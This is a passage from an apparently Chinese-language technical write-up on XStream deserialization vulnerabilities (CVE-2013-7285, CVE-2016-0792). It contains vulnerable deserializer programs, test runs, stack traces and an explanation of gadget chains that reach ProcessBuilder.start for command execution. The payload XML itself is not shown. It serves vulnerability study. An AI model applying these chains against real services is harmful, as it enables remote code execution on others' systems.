context.convertAnother( obj.getCalendar() );
writer.endNode();
}
}
public Object unmarshal
(
final HierarchicalStreamReader reader,
final UnmarshallingContext context
)
{
Birthday obj = new Birthday();
String gender = reader.getAttribute( "gender" );
if ( gender != null )
{
if ( gender.length() > 0 )
{
if ( gender.charAt(0) == 'f' )
{
obj.setGender( 'f' );
}
else if ( gender.charAt(0) == 'm' )
{
obj.setGender( 'm' );
}
else
{
throw new ConversionException( "Invalid gender value: " + gender );
}
}
else
{
throw new ConversionException( "Empty string is invalid gender value" );
}
}
while ( reader.hasMoreChildren() )
{
reader.moveDown();
if ( "person".equals( reader.getNodeName() ) )
{
Person person = ( Person )context.convertAnother( obj, Person.class );
obj.setPerson( person );
}
else if ( "birthday".equals( reader.getNodeName() ) )
{
Calendar calendar = ( Calendar )context.convertAnother( obj, Calendar.class );
obj.setCalendar( calendar );
}
reader.moveUp();
}
return( obj );
}
}
11.4) SerializeBirthday.java
/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." SerializeBirthday.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeBirthday Birthday.xml 0 * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeBirthday BirthdayX.xml 0 x * java -cp "xstream-1.4.10.jar:." SerializeBirthday Birthday.xml 1 * java -cp "xstream-1.4.10.jar:." SerializeBirthday Birthday.xml 2 / import java.io.; import java.util.; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.*;
public class SerializeBirthday { private static XStream GetXStream ( int mode, boolean usec ) { XStream xs;
switch ( mode )
{
case 0 :
xs = new XStream();
break;
case 1 :
xs = new XStream( new DomDriver() );
break;
default:
xs = new XStream( new StaxDriver() );
break;
}
if ( usec )
{
/*
* 将来用<someone>,而不是<Birthday>
*/
xs.alias( "someone", Birthday.class );
xs.registerConverter( new BirthdayConverter() );
}
return( xs );
}
public static void main ( String[] argv ) throws Exception
{
Birthday obj = new Birthday
(
new Person( "yoda" ),
Calendar.getInstance(),
'm'
);
boolean usec = ( argv.length > 2 ) ? true : false;
/*
* System.out.println( "argv.length = " + argv.length );
*/
int mode = Integer.parseInt( argv[1] );
FileOutputStream fos = new FileOutputStream( argv[0] );
XStream xs = GetXStream( mode, usec );
xs.toXML( obj, fos );
fos.close();
}
}
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeBirthday Birthday.xml 0
$ cat Birthday.xml
这是没有使用Converter时生成的XML。
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeBirthday BirthdayX.xml 0 x
$ cat BirthdayX.xml
这是使用Converter后生成的XML。
11.5) DeserializeBirthday.java
/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeBirthday.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday Birthday.xml 0 * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday BirthdayX.xml 0 x * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday Birthday.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday Birthday.xml 2 / import java.io.; import java.beans.EventHandler; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.;
public class DeserializeBirthday { private static XStream GetXStream ( int mode, boolean usec, String[] pattern ) { XStream xs;
switch ( mode )
{
case 0 :
xs = new XStream();
break;
case 1 :
xs = new XStream( new DomDriver() );
break;
default:
xs = new XStream( new StaxDriver() );
break;
}
if ( usec )
{
xs.alias( "someone", Birthday.class );
xs.registerConverter( new BirthdayConverter() );
}
xs.setupDefaultSecurity( xs );
xs.allowTypesByRegExp( pattern );
return( xs );
}
public static void main ( String[] argv ) throws Exception
{
boolean usec = ( argv.length > 2 ) ? true : false;
int mode = Integer.parseInt( argv[1] );
FileInputStream fis = new FileInputStream( argv[0] );
String[] pattern = new String[]
{
"Birthday"
};
XStream xs = GetXStream( mode, usec, pattern );
Birthday obj = ( Birthday )xs.fromXML( fis );
fis.close();
System.out.println
(
String.format
(
"name = %s\n" +
"birth = %s\n" +
"gender = %c",
obj.getPerson(),
/*
* 用getTime()将Calendar转成Date,后者应该重载过toString()
*/
obj.getCalendar().getTime(),
obj.getGender()
)
);
}
}
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." Desrthday Birthday.xml 0 name = yoda birth = Thu Dec 05 15:13:09 CST 2019 gender = m
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeBirthday BirthdayX.xml 0 x name = yoda birth = Thu Dec 05 15:13:14 CST 2019 gender = m
12) 基于tree-map的PoC(tree-map.xml)
参[10]
这个PoC适用于如下版本的XStream:
1.4-1.4.6 1.4.10
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 tree-map.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: ---- Debugging information ---- cause-exception : java.lang.ClassCastException cause-message : java.lang.UNIXProcess cannot be cast to java.lang.Integer class : java.util.TreeMap required-type : java.util.TreeMap converter-type : com.thoughtworks.xstream.converters.collections.TreeMapConverter path : /tree-map line number : 22 version : 1.4.10
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466)
at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346)
at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)
Caused by: java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer at com.sun.proxy.$Proxy0.compareTo(Unknown Source) at java.util.TreeMap.put(TreeMap.java:568) at java.util.AbstractMap.putAll(AbstractMap.java:281) at java.util.TreeMap.putAll(TreeMap.java:327) at com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap(TreeMapConverter.java:122) at com.thoughtworks.xstream.converters.collections.TreeMapConverter.unmarshal(TreeMapConverter.java:79) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) ... 9 more
$ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 tree-map.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected. ---- Debugging information ---- message : Security alert. Unmarshalling rejected. class : java.beans.EventHandler required-type : java.beans.EventHandler converter-type : com.thoughtworks.xstream.XStream$InternalBlackList path : /tree-map/entry[2]/dynamic-proxy/handler line number : 9 class[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy required-type[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy converter-type[1] : com.thoughtworks.xstream.converters.extended.DynamicProxyConverter class[2] : java.util.TreeMap required-type[2] : java.util.TreeMap converter-type[2] : com.thoughtworks.xstream.converters.collections.TreeMapConverter version : 1.4.11.1
at com.thoughtworks.xstream.XStream$InternalBlackList.unmarshal(XStream.java:2560)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.converters.extended.DynamicProxyConverter.unmarshal(DynamicProxyConverter.java:127)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readBareItem(AbstractCollectionConverter.java:132)
at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:117)
at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readCompleteItem(AbstractCollectionConverter.java:147)
at com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:105)
at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98)
at com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap(TreeMapConverter.java:116)
at com.thoughtworks.xstream.converters.collections.TreeMapConverter.unmarshal(TreeMapConverter.java:79)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1487)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1467)
at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1347)
at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)
12.1) TreeMapConverter
http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/collections/TreeMapConverter.html
Converts a java.util.TreeMap to XML, and serializes the associated java.util.Comparator. The converter assumes that the entries in the XML are already sorted according the comparator.
12.2) ProcessBuilder.start()调用栈回溯
$ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 tree-map.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in java.lang.ProcessBuilder.start
[1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] sun.reflect.misc.Trampoline.invoke (MethodUtil.java:71), pc = 7 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [10] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [11] sun.reflect.misc.MethodUtil.invoke (MethodUtil.java:275), pc = 20 [12] java.beans.EventHandler.invokeInternal (EventHandler.java:482), pc = 418 [13] java.beans.EventHandler.access$000 (EventHandler.java:279), pc = 4 [14] java.beans.EventHandler$1.run (EventHandler.java:430), pc = 16 [15] java.security.AccessController.doPrivileged (native method) [16] java.beans.EventHandler.invoke (EventHandler.java:428), pc = 40 [17] com.sun.proxy.$Proxy0.compareTo (null), pc = 16 [18] java.util.TreeMap.put (TreeMap.java:568), pc = 141 [19] java.util.AbstractMap.putAll (AbstractMap.java:281), pc = 44 [20] java.util.TreeMap.putAll (TreeMap.java:327), pc = 101 [21] com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap (TreeMapConverter.java:122), pc = 107 [22] com.thoughtworks.xstream.converters.collections.TreeMapConverter.unmarshal (TreeMapConverter.java:79), pc = 62 [23] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [24] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:70), pc = 236 [25] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [26] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [27] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [28] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [29] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,486), pc = 36 [30] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,466), pc = 4 [31] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,346), pc = 12 [32] DeserializeUsingXStream1.main (DeserializeUsingXStream1.java:43), pc = 25
出现"com.sun.proxy.$Proxy0.compareTo()"。
13) CVE-2013-7285
参看:
http://x-stream.github.io/CVE-2013-7285.html
这个漏洞适用于如下版本的XStream:
1.4-1.4.6 1.4.10
13.1) TicketService.xml
参[10]
为了利用这个洞,必须知道服务端反序列化得到哪个接口,并且假设服务端在反序列 化之后会调用该接口声明的方法。
13.2) DeserializeTicketService.java
/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeTicketService.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 2 / import java.io.; import java.beans.EventHandler; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.;
public class DeserializeTicketService { private static XStream GetXStream ( int mode ) { XStream xs;
switch ( mode )
{
case 0 :
xs = new XStream();
break;
case 1 :
xs = new XStream( new DomDriver() );
break;
default:
xs = new XStream( new StaxDriver() );
break;
}
return( xs );
}
public static void main ( String[] argv ) throws Exception
{
int mode = Integer.parseInt( argv[1] );
FileInputStream fis = new FileInputStream( argv[0] );
XStream xs = GetXStream( mode );
TicketService obj = ( TicketService )xs.fromXML( fis );
fis.close();
obj.SellTicket();
}
}
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable.
不会报错,正常结束。
$ ls -l /tmp/scz_is_here
13.3) ProcessBuilder.start()调用栈回溯
$ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeTicketService TicketService.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in java.lang.ProcessBuilder.start
[1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] sun.reflect.misc.Trampoline.invoke (MethodUtil.java:71), pc = 7 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [10] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [11] sun.reflect.misc.MethodUtil.invoke (MethodUtil.java:275), pc = 20 [12] java.beans.EventHandler.invokeInternal (EventHandler.java:482), pc = 418 [13] java.beans.EventHandler.access$000 (EventHandler.java:279), pc = 4 [14] java.beans.EventHandler$1.run (EventHandler.java:430), pc = 16 [15] java.security.AccessController.doPrivileged (native method) [16] java.beans.EventHandler.invoke (EventHandler.java:428), pc = 40 [17] com.sun.proxy.$Proxy0.SellTicket (null), pc = 9 [18] DeserializeTicketService.main (DeserializeTicketService.java:40), pc = 39
出现"com.sun.proxy.$Proxy0.SellTicket()"。
14) CVE-2016-0792(XStream+Groovy)
14.1) map_old.xml
参[13]
CVE-2016-0792需要XStream+Groovy,CVE-2013-7285只需要XStream。
<>
14.2) map.xml
map_old.xml是网上看来的,map.xml是我实测后精简的。
参[12],需要groovy-all-2.3.9.jar。
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:groovy-all-2.3.9.jar:." DeserializeUsingXStream1 map.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: ---- Debugging information ---- cause-exception : java.lang.ClassCastException cause-message : java.lang.UNIXProcess cannot be cast to java.lang.Integer class : java.util.HashMap required-type : java.util.HashMap converter-type : com.thoughtworks.xstream.converters.collections.MapConverter path : /map/entry line number : 20 version : 1.4.10
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466)
at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346)
at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)
Caused by: java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer at groovy.util.Expando.hashCode(Expando.java:157) at java.util.HashMap.hash(HashMap.java:339) at java.util.HashMap.put(HashMap.java:612) at com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:113) at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98) at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:92) at com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal(MapConverter.java:87) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) ... 9 more
$ ls -l /tmp/scz_is_here
14.2.1) ProcessBuilder.start()调用栈回溯
$ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:groovy-all-2.3.9.jar:." DeserializeUsingXStream1 map.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in java.lang.ProcessBuilder.start
[1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] org.codehaus.groovy.reflection.CachedMethod.invoke (CachedMethod.java:90), pc = 6 [7] groovy.lang.MetaMethod.doMethodInvoke (MetaMethod.java:324), pc = 9 [8] groovy.lang.MetaClassImpl.invokeMethod (MetaClassImpl.java:1,207), pc = 1,076 [9] groovy.lang.MetaClassImpl.invokeMethod (MetaClassImpl.java:1,074), pc = 243 [10] groovy.lang.MetaClassImpl.invokeMethod (MetaClassImpl.java:1,016), pc = 10 [11] groovy.lang.Closure.call (Closure.java:423), pc = 8 [12] groovy.lang.Closure.call (Closure.java:417), pc = 6 [13] groovy.util.Expando.hashCode (Expando.java:157), pc = 34 [14] java.util.HashMap.hash (HashMap.java:339), pc = 9 [15] java.util.HashMap.put (HashMap.java:612), pc = 2 [16] com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap (MapConverter.java:113), pc = 48 [17] com.thoughtworks.xstream.converters.collections.MapConverter.populateMap (MapConverter.java:98), pc = 21 [18] com.thoughtworks.xstream.converters.collections.MapConverter.populateMap (MapConverter.java:92), pc = 5 [19] com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal (MapConverter.java:87), pc = 18 [20] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [21] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:70), pc = 236 [22] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [23] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [24] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [25] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [26] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,486), pc = 36 [27] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,466), pc = 4 [28] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,346), pc = 12 [29] DeserializeUsingXStream1.main (DeserializeUsingXStream1.java:43), pc = 25
14.2.2) MapConverter
http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/collections/MapConverter.html
Converts a java.util.Map to XML, specifying an 'entry' element with 'key' and 'value' children.
14.2.9) 简化版调用关系
XStream.fromXML:1346 XStream.unmarshal:1486 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // MapConverter for java.util.HashMap TreeUnmarshaller.convertAnother:66 MapConverter.unmarshal:87 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // ReflectionConverter for groovy.util.Expando // SingleValueConverterWrapper for java.lang.Integer TreeUnmarshaller.convertAnother:66 AbstractReflectionConverter.unmarshal:281 TreeUnmarshaller.convertAnother:66 MapConverter.unmarshal:87 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // SingleValueConverterWrapper for java.lang.String // ReflectionConverter for org.codehaus.groovy.runtime.MethodClosure TreeUnmarshaller.convertAnother:66 AbstractReflectionConverter.unmarshal:281 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // ReflectionConverter for java.lang.ProcessBuilder TreeUnmarshaller.convertAnother:66 AbstractReflectionConverter.unmarshal:281 TreeUnmarshaller.convertAnother:56 DefaultConverterLookup.lookupConverterForType:61 // CollectionConverter for java.util.ArrayList java.util.HashMap.put:612 java.util.HashMap.hash:339 groovy.util.Expando.hashCode groovy.lang.Closure.call groovy.lang.MetaMethod.doMethodInvoke java.lang.ProcessBuilder.start
14.3) CVE-2016-0792漏洞利用原理
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/util/HashMap.java
/ * Associates the specified value with the specified key in this map. * If the map previously contained a mapping for the key, the old * value is replaced. * * @param key key with which the specified value is to be associated * @param value value to be associated with the specified key * @return the previous value associated with key, or * null if there was no mapping for key. * (A null return can also indicate that the map * previously associated null with key.) / public V put(K key, V value) { / * 612行 */ return putVal(hash(key), key, value, false, true); }
/ * Computes key.hashCode() and spreads (XORs) higher bits of hash * to lower. Because the table uses power-of-two masking, sets of * hashes that vary only in bits above the current mask will * always collide. (Among known examples are sets of Float keys * holding consecutive whole numbers in small tables.) So we * apply a transform that spreads the impact of higher bits * downward. There is a tradeoff between speed, utility, and * quality of bit-spreading. Because many common sets of hashes * are already reasonably distributed (so don't benefit from * spreading), and because we use trees to handle large sets of * collisions in bins, we just XOR some shifted bits in the * cheapest possible way to reduce systematic lossage, as well as * to incorporate impact of the highest bits that would otherwise * never be used in index calculations because of table bounds. / static final int hash(Object key) { int h; / * 339行,会调用key.hashCode(),而key是外部传入的 */ return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
https://github.com/andreyvit/groovy/blob/master/groovy/groovy-core/src/main/groovy/util/Expando.java
groovy.util.Expando.hashCode()
/* * This allows hashCode to be overridden by a closure field method attached * to the expando object. * * @see java.lang.Object#hashCode() / public int hashCode() { Object method = getProperties().get("hashCode"); if (method != null && method instanceof Closure) { // invoke overridden hashCode closure method Closure closure = (Closure) method; closure.setDelegate(this); Integer ret = (Integer) closure.call(); return ret.intValue(); } else { return super.hashCode(); } }
If the Expando has a Closure that's supposed to figure out the hash code, the Expando will call that Closure and return its output.
Closure is abstract. We'll give it a MethodClosure! A MethodClosure is a wrapper that calls an arbitrary class and method name. We'll create a method closure that calls start() on a java.lang.ProcessBuilder.
14.3.1) 与InternalBlackList无关
CVE-2013-7285用到"java.beans.EventHandler",后来XStream针对 "java.beans.EventHandler"做了安全限制,使得利用链被阻断。
CVE-2016-0792找到"java.beans.EventHandler"的替代品,来自Groovy的 "groovy.util.Expando";缺点是需要除XStream之外的Groovy库在classpath上。
map.xml不涉及"java.beans.EventHandler",寻找Converter时不会命中:
com.thoughtworks.xstream.XStream$InternalBlackList
仍然命中ReflectionConverter。即使使用1.4.11.1版XStream,CVE-2016-0792仍能 被成功利用:
$ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:groovy-all-2.3.9.jar:." DeserializeUsingXStream1 map.xml 0
14.4) groovy-all-2.4.9.jar无法利用成功
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:groovy-all-2.4.9.jar:." DeserializeUsingXStream1 map.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Cannot deserialize object with new readObject()/writeObject() methods ---- Debugging information ---- message : Cannot deserialize object with new readObject()/writeObject() methods class : org.codehaus.groovy.runtime.MethodClosure required-type : org.codehaus.groovy.runtime.MethodClosure converter-type : com.thoughtworks.xstream.converters.reflection.SerializableConverter path : /map/entry/groovy.util.Expando/expandoProperties/entry/org.codehaus.groovy.runtime.MethodClosure line number : 7 class[1] : java.util.HashMap converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter class[2] : groovy.util.Expando converter-type[2] : com.thoughtworks.xstream.converters.reflection.ReflectionConverter version : 1.4.10
at com.thoughtworks.xstream.converters.reflection.SerializableConverter.doUnmarshal(SerializableConverter.java:318)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:281)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:73)
at com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:110)
at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98)
at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:92)
at com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal(MapConverter.java:87)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:503)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:429)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:281)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
